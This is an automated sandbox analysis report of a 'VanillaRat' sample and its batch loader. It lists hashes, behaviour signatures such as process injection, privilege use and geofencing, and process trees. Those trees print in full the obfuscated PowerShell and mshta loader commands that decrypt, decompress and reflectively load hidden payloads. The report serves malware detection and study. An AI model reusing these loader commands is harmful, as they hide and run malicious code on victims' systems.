Overview
overview
10Static
static
10Release/Ha...er.bat
windows7-x64
7Release/Ha...er.bat
windows10-1703-x64
10Release/Ha...er.bat
windows10-2004-x64
10Release/Ha...er.bat
windows11-21h2-x64
10Release/Va...at.exe
windows7-x64
8Release/Va...at.exe
windows10-1703-x64
10Release/Va...at.exe
windows10-2004-x64
10Release/Va...at.exe
windows11-21h2-x64
10Analysis
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max time kernel
60s -
max time network
21s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
18-08-2024 13:35
Behavioral task
behavioral1
Sample
Release/Handlers/Handler.bat
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
Release/Handlers/Handler.bat
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
Release/Handlers/Handler.bat
Resource
win10v2004-20240802-en
Behavioral task
behavioral4
Sample
Release/Handlers/Handler.bat
Resource
win11-20240802-en
Behavioral task
behavioral5
Sample
Release/VanillaRat.exe
Resource
win7-20240704-en
Behavioral task
behavioral6
Sample
Release/VanillaRat.exe
Resource
win10-20240404-en
Behavioral task
behavioral7
Sample
Release/VanillaRat.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral8
Sample
Release/VanillaRat.exe
Resource
win11-20240802-en
General
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Target
Release/VanillaRat.exe
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Size
1.7MB
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MD5
59fea74c326c7e496617bb45bdfbcc00
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SHA1
7c0dd54592857eed1cb068e24315b2bbe7511b76
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SHA256
9b6dcbe8df1be5241a40987a416e896737a7442db492e9df8413277835fb766d
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SHA512
443005543a476b0c3ef4744ba0b7075185cf0ae80783c06f98ee2845872c54ad2ee6d69810acaed692720b5ad19129935b751e45ac8725b050ccca5b94ecc6ba
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SSDEEP
24576:Lz2qwZHZd2PjnRh3Xz2DrtasSA7ZUNnbkAqE6joUZ57W:f2qw+nYVZY6jog
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
Handler.bat.exedescription pid process target process PID 4588 created 564 4588 Handler.bat.exe winlogon.exe PID 4588 created 564 4588 Handler.bat.exe winlogon.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
$sxr-mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Executes dropped EXE 4 IoCs
Processes:
Handler.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exepid process 4588 Handler.bat.exe 1416 $sxr-mshta.exe 1868 $sxr-cmd.exe 3928 $sxr-powershell.exe -
Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
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Suspicious use of SetThreadContext 4 IoCs
Processes:
Handler.bat.exedescription pid process target process PID 4588 set thread context of 656 4588 Handler.bat.exe dllhost.exe PID 4588 set thread context of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 set thread context of 1600 4588 Handler.bat.exe dllhost.exe PID 4588 set thread context of 3872 4588 Handler.bat.exe dllhost.exe -
Drops file in Windows directory 6 IoCs
Processes:
Handler.bat.exedescription ioc process File created C:\Windows\$sxr-cmd.exe Handler.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe Handler.bat.exe File created C:\Windows\$sxr-powershell.exe Handler.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe Handler.bat.exe File created C:\Windows\$sxr-mshta.exe Handler.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe Handler.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
$sxr-mshta.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance $sxr-mshta.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
powershell.exeHandler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exepid process 4640 powershell.exe 4640 powershell.exe 4640 powershell.exe 4588 Handler.bat.exe 4588 Handler.bat.exe 4588 Handler.bat.exe 4588 Handler.bat.exe 656 dllhost.exe 656 dllhost.exe 1632 dllhost.exe 1632 dllhost.exe 1632 dllhost.exe 1632 dllhost.exe 656 dllhost.exe 656 dllhost.exe 4588 Handler.bat.exe 4588 Handler.bat.exe 3928 $sxr-powershell.exe 3928 $sxr-powershell.exe 3928 $sxr-powershell.exe 3928 $sxr-powershell.exe 4588 Handler.bat.exe 1600 dllhost.exe 1600 dllhost.exe 3872 dllhost.exe 3872 dllhost.exe 3872 dllhost.exe 3872 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 4588 Handler.bat.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exeHandler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exedescription pid process Token: SeDebugPrivilege 4640 powershell.exe Token: SeDebugPrivilege 4588 Handler.bat.exe Token: SeDebugPrivilege 4588 Handler.bat.exe Token: SeDebugPrivilege 656 dllhost.exe Token: SeDebugPrivilege 1632 dllhost.exe Token: SeDebugPrivilege 3928 $sxr-powershell.exe Token: SeDebugPrivilege 4588 Handler.bat.exe Token: SeDebugPrivilege 1600 dllhost.exe Token: SeDebugPrivilege 3872 dllhost.exe -
Suspicious use of WriteProcessMemory 42 IoCs
Processes:
VanillaRat.exepowershell.execmd.exeHandler.bat.exe$sxr-mshta.exe$sxr-cmd.exedescription pid process target process PID 1468 wrote to memory of 4640 1468 VanillaRat.exe powershell.exe PID 1468 wrote to memory of 4640 1468 VanillaRat.exe powershell.exe PID 4640 wrote to memory of 4296 4640 powershell.exe cmd.exe PID 4640 wrote to memory of 4296 4640 powershell.exe cmd.exe PID 4296 wrote to memory of 4588 4296 cmd.exe Handler.bat.exe PID 4296 wrote to memory of 4588 4296 cmd.exe Handler.bat.exe PID 4588 wrote to memory of 656 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 656 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 656 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 656 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 656 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 656 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 656 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1632 4588 Handler.bat.exe dllhost.exe PID 1416 wrote to memory of 1868 1416 $sxr-mshta.exe $sxr-cmd.exe PID 1416 wrote to memory of 1868 1416 $sxr-mshta.exe $sxr-cmd.exe PID 1868 wrote to memory of 3928 1868 $sxr-cmd.exe $sxr-powershell.exe PID 1868 wrote to memory of 3928 1868 $sxr-cmd.exe $sxr-powershell.exe PID 4588 wrote to memory of 1600 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1600 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1600 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1600 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1600 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1600 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 1600 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe PID 4588 wrote to memory of 3872 4588 Handler.bat.exe dllhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:564
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{05f2ac45-92e4-4f14-8881-ace328a0574e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:656
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e501f1c1-975e-43a2-8573-35497546766a}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1600
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C:\Users\Admin\AppData\Local\Temp\Release\VanillaRat.exe"C:\Users\Admin\AppData\Local\Temp\Release\VanillaRat.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -command "& {Start-Process -FilePath 'Handlers\Handler.bat' -WindowStyle Hidden -Wait}2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4296 -
C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe"Handler.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function AsZVG($IObBH){ $nGKhQ=[System.Security.Cryptography.Aes]::Create(); $nGKhQ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nGKhQ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nGKhQ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z1mnkXiSZPv8R2MpZKBD3X42qpFHtc3mYWmVqJ/jqFk='); $nGKhQ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oe8taAs+mjon3dfZMtxPIg=='); $IIMfj=$nGKhQ.CreateDecryptor(); $return_var=$IIMfj.TransformFinalBlock($IObBH, 0, $IObBH.Length); $IIMfj.Dispose(); $nGKhQ.Dispose(); $return_var;}function nroxc($IObBH){ $lXPBt=New-Object System.IO.MemoryStream(,$IObBH); $jzRog=New-Object System.IO.MemoryStream; $raowK=New-Object System.IO.Compression.GZipStream($lXPBt, [IO.Compression.CompressionMode]::Decompress); $raowK.CopyTo($jzRog); $raowK.Dispose(); $lXPBt.Dispose(); $jzRog.Dispose(); $jzRog.ToArray();}function Dtllp($IObBH,$RqHgm){ $OepAU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$IObBH); $TRlDt=$OepAU.EntryPoint; $TRlDt.Invoke($null, $RqHgm);}$pyjrp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat').Split([Environment]::NewLine);foreach ($FdSgb in $pyjrp) { if ($FdSgb.StartsWith('SEROXEN')) { $AdNpy=$FdSgb.Substring(7); break; }}$tMmhK=[string[]]$AdNpy.Split('\');$vypGp=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[0])));$asijd=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[1])));Dtllp $asijd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));Dtllp $vypGp (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4588 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d36bbe4c-8175-4128-847f-69464971dbfa}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{28beff50-36c5-4596-8c14-43feb29a3939}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3872
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function sXCMM($CkDpq){ $zljWq=[System.Security.Cryptography.Aes]::Create(); $zljWq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zljWq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zljWq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0='); $zljWq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg=='); $QOVuV=$zljWq.('rotpyrceDetaerC'[-1..-15] -join '')(); $XqeJd=$QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CkDpq, 0, $CkDpq.Length); $QOVuV.Dispose(); $zljWq.Dispose(); $XqeJd;}function pIPqe($CkDpq){ $RVxvX=New-Object System.IO.MemoryStream(,$CkDpq); $MPpXr=New-Object System.IO.MemoryStream; $tIDwQ=New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::Decompress); $tIDwQ.CopyTo($MPpXr); $tIDwQ.Dispose(); $RVxvX.Dispose(); $MPpXr.Dispose(); $MPpXr.ToArray();}function OVJQF($CkDpq,$HUtBG){ $QhIbf=[System.Reflection.Assembly]::Load([byte[]]$CkDpq); $edhhl=$QhIbf.EntryPoint; $edhhl.Invoke($null, $HUtBG);}$zljWq1 = New-Object System.Security.Cryptography.AesManaged;$zljWq1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$dKTJk = $zljWq1.('rotpyrceDetaerC'[-1..-15] -join '')();$RVcQq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nh0O9Tq4WhjVRVv6TIlxng==');$RVcQq = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq, 0, $RVcQq.Length);$RVcQq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq);$OATYX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DphlnsvScNekfgsLVTd7mzDTpuPYV2uzlVKF5APiXTs=');$OATYX = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OATYX, 0, $OATYX.Length);$OATYX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OATYX);$pxqaL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VOurjNNOAf3rWCyDVTfXEg==');$pxqaL = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pxqaL, 0, $pxqaL.Length);$pxqaL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pxqaL);$sZmZm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bwCwxwfgvgLvd83CID2tuY2PW5n2F6O9HvfP0OXG8B2If0HCFuJvOfQkZnJJHGqr4W77keqJnrHoUOLsxavQfVPJgnZi5dCVwfqInTPzI5sB/ovu8wzR06kYDbDCFSZIUmhZnetqX07nQ3nN2G8dx8hDcvN8OEtke141bP5XbYA7V7pEdDf3FgqTYuWoMaz+k56vPVibKCooeH7zQ3DK29EBBQ9NAhbbXDFzReMv7zlMDbkoqlsAAEqbrXnoCu5yb4MKtcf+DHcvr/3wdC9bIKzrVR+Z59S5tuu5Ot2efgPcTwmjF9AfsSO6Z0XGodft9zU2RXKHKxayYhES9v/HDue0kdAd1egn28t4LVgg/sk/Lq23+HYJ+gLzHX2a8njudWREXxqxpxGUV/yJzhNVaEtLryDlFlbG61xiz9rtJRc=');$sZmZm = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sZmZm, 0, $sZmZm.Length);$sZmZm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sZmZm);$hunvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rq5zXkyy0NL/id4X1CFNpQ==');$hunvf = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hunvf, 0, $hunvf.Length);$hunvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hunvf);$uooKb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wR0HI5liF2OH5JSIeYrcUA==');$uooKb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uooKb, 0, $uooKb.Length);$uooKb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uooKb);$HssPO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wr1hAjwP3vd25eg2X2PyLA==');$HssPO = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HssPO, 0, $HssPO.Length);$HssPO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HssPO);$coosp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W+228sMz/VVvzW5Wi2DfeQ==');$coosp = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($coosp, 0, $coosp.Length);$coosp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($coosp);$cqFrb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LnPkErAMqZ8UA2dOM3NRUw==');$cqFrb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cqFrb, 0, $cqFrb.Length);$cqFrb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cqFrb);$RVcQq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jzKuA/Szphx4DaASO5/17A==');$RVcQq0 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq0, 0, $RVcQq0.Length);$RVcQq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq0);$RVcQq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBGLdnELndsDRqQwc9+ZdQ==');$RVcQq1 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq1, 0, $RVcQq1.Length);$RVcQq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq1);$RVcQq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h0utQU1KufGAbeZac8uGpg==');$RVcQq2 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq2, 0, $RVcQq2.Length);$RVcQq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq2);$RVcQq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NHOzA0blhk4FfOP1QwdrHA==');$RVcQq3 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq3, 0, $RVcQq3.Length);$RVcQq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq3);$dKTJk.Dispose();$zljWq1.Dispose();if (@(get-process -ea silentlycontinue $RVcQq3).count -gt 1) {exit};$wqkcL = [Microsoft.Win32.Registry]::$coosp.$HssPO($RVcQq).$uooKb($OATYX);$khgFI=[string[]]$wqkcL.Split('\');$IeVcP=pIPqe(sXCMM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[1])));OVJQF $IeVcP (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$dgCqa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[0]);$zljWq = New-Object System.Security.Cryptography.AesManaged;$zljWq.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$QOVuV = $zljWq.('rotpyrceDetaerC'[-1..-15] -join '')();$dgCqa = $QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($dgCqa, 0, $dgCqa.Length);$QOVuV.Dispose();$zljWq.Dispose();$RVxvX = New-Object System.IO.MemoryStream(, $dgCqa);$MPpXr = New-Object System.IO.MemoryStream;$tIDwQ = New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::$RVcQq1);$tIDwQ.$cqFrb($MPpXr);$tIDwQ.Dispose();$RVxvX.Dispose();$MPpXr.Dispose();$dgCqa = $MPpXr.ToArray();$tbTTb = $sZmZm | IEX;$QhIbf = $tbTTb::$RVcQq2($dgCqa);$edhhl = $QhIbf.EntryPoint;$edhhl.$RVcQq0($null, (, [string[]] ($pxqaL)))3⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3928
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
435KB
MD5f7722b62b4014e0c50adfa9d60cafa1c
SHA1f31c17e0453f27be85730e316840f11522ddec3e
SHA256ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa
SHA5127fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
265KB
MD594912c1d73ade68f2486ed4d8ea82de6
SHA1524ab0a40594d2b5f620f542e87a45472979a416
SHA2569f7ebb79def0bf8cccb5a902db11746375af3fe618355fe5a69c69e4bcd50ac9
SHA512f48a3b7a2e6426c0091bb159599921b8e4644c8ae83a2a2a82efc9d3e21e4e343d77339917d8aabed6d8025142a2a8e74bf1fa759edb6146bc6e39fbece9e05d
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Filesize
14KB
MD598447a7f26ee9dac6b806924d6e21c90
SHA1a67909346a56289b7087821437efcaa51da3b083
SHA256c162abe51a04727507be4f98b95db6356dd64decd042dfb4090e57fa0101f2ed
SHA512c708672a28072c7754eb99f0cf2aa81bf7205d8512ae44242848c2160acf26454029bfb4b76f928bac27a3bed260f95a71bd12bcf2620865b756ba89d66f261b